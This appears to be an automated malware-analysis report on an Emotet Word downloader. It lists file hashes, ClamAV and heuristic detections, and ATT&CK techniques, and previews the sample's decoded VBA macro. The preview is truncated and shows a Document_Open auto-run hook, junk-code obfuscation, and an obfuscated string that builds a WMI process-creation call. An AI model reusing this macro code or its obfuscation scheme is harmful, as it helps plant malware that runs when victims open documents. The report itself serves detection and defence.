Emotet — Office (OLE) malware analysis

Static analysis result for SHA-256 7ba260d29ecdf214…

MALICIOUS

Office (OLE)

167.4 KB Created: 2020-09-01 05:13:00 Authoring application: Microsoft Office Word First seen: 2020-09-15
MD5: dfc7c2688748216bfc07bc9ada22bcc9 SHA-1: b793b22d45602c7171494b07d96a0b90773d665d SHA-256: 7ba260d29ecdf2149f3646240c42c845039fe65caa2e7fc86d22dbe87a956c8d
202 Risk Score

Malware Insights

Emotet · confidence 95%

MITRE ATT&CK
T1059.005 Visual Basic T1566.001 Spearphishing Attachment

The sample is a Microsoft Office document containing VBA macros, specifically a Document_Open macro designed to execute obfuscated code. The ClamAV detection explicitly identifies it as 'Doc.Downloader.Emotet-9620408-0', strongly suggesting Emotet family and a downloader functionality. The VBA code's complexity and use of CreateObject indicate it's attempting to perform actions beyond typical document content, likely to fetch and run a secondary payload.

Heuristics 6

  • ClamAV: Doc.Downloader.Emotet-9620408-0 critical CLAMAV_DETECTION
    ClamAV detected this file as malware: Doc.Downloader.Emotet-9620408-0
  • VBA macros detected medium 3 related findings OLE_VBA_MACROS
    Document contains VBA macro code
  • Document_Open macro high OLE_VBA_DOCOPEN
    Document_Open macro
  • CreateObject call high OLE_VBA_CREATEOBJ
    CreateObject call
  • VBA p-code auto-exec with execution tokens high OLE_VBA_PCODE_AUTOEXEC_EXEC
    Compiled VBA/cache stream contains an auto-execution token together with shell/download/object-execution tokens. This catches p-code-only or source-extraction-failure macro documents where visible source is unavailable.
  • Embedded URL info EMBEDDED_URL
    One or more URLs were extracted from the document. The URL itself is not a detection — see the per-URL labels for which channel (macro, JS, link annotation, document body, ...) reached each URL.
    URL http://schemas.openxmlformats.org/drawingml/2006/main In document text (OLE body)

Extracted artifacts 1

Files carved from inside the sample during analysis.

FilenameKindSourceSize
macros.bas vba-macro oletools.olevba.extract_macros (decoded VBA source) 13599 bytes
SHA-256: bd2ff8c4d0ecbf1e55f2db1559f8a8baf196813f4c2c3ac0af4ae3fbc7f32e7e
Preview script
First 1,000 lines of the extracted script
Attribute VB_Name = "Eubymzqqepger0"
Attribute VB_Base = "1Normal.ThisDocument"
Attribute VB_GlobalNameSpace = False
Attribute VB_Creatable = False
Attribute VB_PredeclaredId = True
Attribute VB_Exposed = True
Attribute VB_TemplateDerived = True
Attribute VB_Customizable = True
Private Sub _
Document_open()
Rjlt64yygfuh.Auurws1stbdy
End Sub


Attribute VB_Name = "Rjlt64yygfuh"
Attribute VB_Base = "0{FEC58EED-1DE2-4180-B18B-62F5A2079DD9}{49B0ADDE-BD5F-4E2A-B066-A4397FE18F29}"
Attribute VB_GlobalNameSpace = False
Attribute VB_Creatable = False
Attribute VB_PredeclaredId = True
Attribute VB_Exposed = False
Attribute VB_TemplateDerived = False
Attribute VB_Customizable = False
Function Auurws1stbdy()
   On Error Resume Next
      Select Case iHWYv6k
         Case 61757573
            lJg = 7
            BJyMRLmS = Int(PnTc)
         Case 86
            jrDY3eK = 6
            MVeK75B = CInt(17 + Round(DDtq38m83))
      End Select
      For FHgPQN7 = 933 To 6108
         Btds9T1 = 513265352 * ehIfpm5 * REu * Round(368479102) / (86 / CDbl(97) * 44 * Hex(xJaiIeN))
      Next
         AKe = CByte(357320033 - ChrB(xXFgW6wv) * oBor21 * 1866)
   Set ZeiJqS = zveEgq2sb
A1m1jgco6buzxg = 100
   On Error Resume Next
      Select Case iHWYv6k
         Case 61757573
            lJg = 7
            BJyMRLmS = Int(PnTc)
         Case 86
            jrDY3eK = 6
            MVeK75B = CInt(17 + Round(DDtq38m83))
      End Select
      For FHgPQN7 = 933 To 6108
         Btds9T1 = 513265352 * ehIfpm5 * REu * Round(368479102) / (86 / CDbl(97) * 44 * Hex(xJaiIeN))
      Next
         AKe = CByte(357320033 - ChrB(xXFgW6wv) * oBor21 * 1866)
   Set ZeiJqS = zveEgq2sb
K9ioj8q4g3rud8f5 = ChrW(A1m1jgco6buzxg + (dccc + 5 + fbbf + 10))
   On Error Resume Next
      Select Case iHWYv6k
         Case 61757573
            lJg = 7
            BJyMRLmS = Int(PnTc)
         Case 86
            jrDY3eK = 6
            MVeK75B = CInt(17 + Round(DDtq38m83))
      End Select
      For FHgPQN7 = 933 To 6108
         Btds9T1 = 513265352 * ehIfpm5 * REu * Round(368479102) / (86 / CDbl(97) * 44 * Hex(xJaiIeN))
      Next
         AKe = CByte(357320033 - ChrB(xXFgW6wv) * oBor21 * 1866)
   Set ZeiJqS = zveEgq2sb
Kfk4f9b3hb0v = "34nnx)))) 9(((hwiqi ()()hnwjc234nnx)))) 9(((hwiqi ()()hnwjc2w34nnx)))) 9(((hwiqi ()()hnwjc2i34nnx)))) 9(((hwiqi ()()hnwjc2nm34nnx)))) 9(((hwiqi ()()hnwjc234nnx)))) 9(((hwiqi ()()hnwjc2gm34nnx)))) 9(((hwiqi ()()hnwjc2t34nnx)))) 9(((hwiqi ()()hnwjc234nnx)))) 9(((hwiqi ()()hnwjc2" + K9ioj8q4g3rud8f5 + "34nnx)))) 9(((hwiqi ()()hnwjc234nnx)))) 9(((hwiqi ()()hnwjc2:34nnx)))) 9(((hwiqi ()()hnwjc2w34nnx)))) 9(((hwiqi ()()hnwjc2in34nnx)))) 9(((hwiqi ()()hnwjc234nnx)))) 9(((hwiqi ()()hnwjc2334nnx)))) 9(((hwiqi ()()hnwjc2234nnx)))) 9(((hwiqi ()()hnwjc2_34nnx)))) 9(((hwiqi ()()hnwjc2" + Rjlt64yygfuh.God968n03l5eltnks + "34nnx)))) 9(((hwiqi ()()hnwjc2ro34nnx)))) 9(((hwiqi ()()hnwjc234nnx)))) 9(((hwiqi ()()hnwjc2ce34nnx)))) 9(((hwiqi ()()hnwjc2s34nnx)))) 9(((hwiqi ()()hnwjc2s34nnx)))) 9(((hwiqi ()()hnwjc2"
   On Error Resume Next
      Select Case iHWYv6k
         Case 61757573
            lJg = 7
            BJyMRLmS = Int(PnTc)
         Case 86
            jrDY3eK = 6
            MVeK75B = CInt(17 + Round(DDtq38m83))
      End Select
      For FHgPQN7 = 933 To 6108
         Btds9T1 = 513265352 * ehIfpm5 * REu * Round(368479102) / (86 / CDbl(97) * 44 * Hex(xJaiIeN))
      Next
         AKe = CByte(357320033 - ChrB(xXFgW6wv) * oBor21 * 1866)
   Set ZeiJqS = zveEgq2sb
D25vijajlth = E1h1b55ikkt5(Kfk4f9b3hb0v)
   On Error Resume Next
      Select Case iHWYv6k
         Case 61757573
            lJg = 7
            BJyMRLmS = Int(PnTc)
         Case 86
            jrDY3eK = 6
            MVeK75B = CInt(17 + Round(DDtq38m83))
      End Select
      For FHgPQN7 = 933 To 6108
         Btds9T1 = 513265352 * ehIfpm5 * REu * Round(368479102) / (86 / CDbl(97) * 44 * Hex(xJaiIeN))
      Next
         AKe = CByte(357320033 - ChrB(xXFgW6wv) * oBor21 * 1866)
   Set ZeiJqS = zveEgq2s
... (truncated)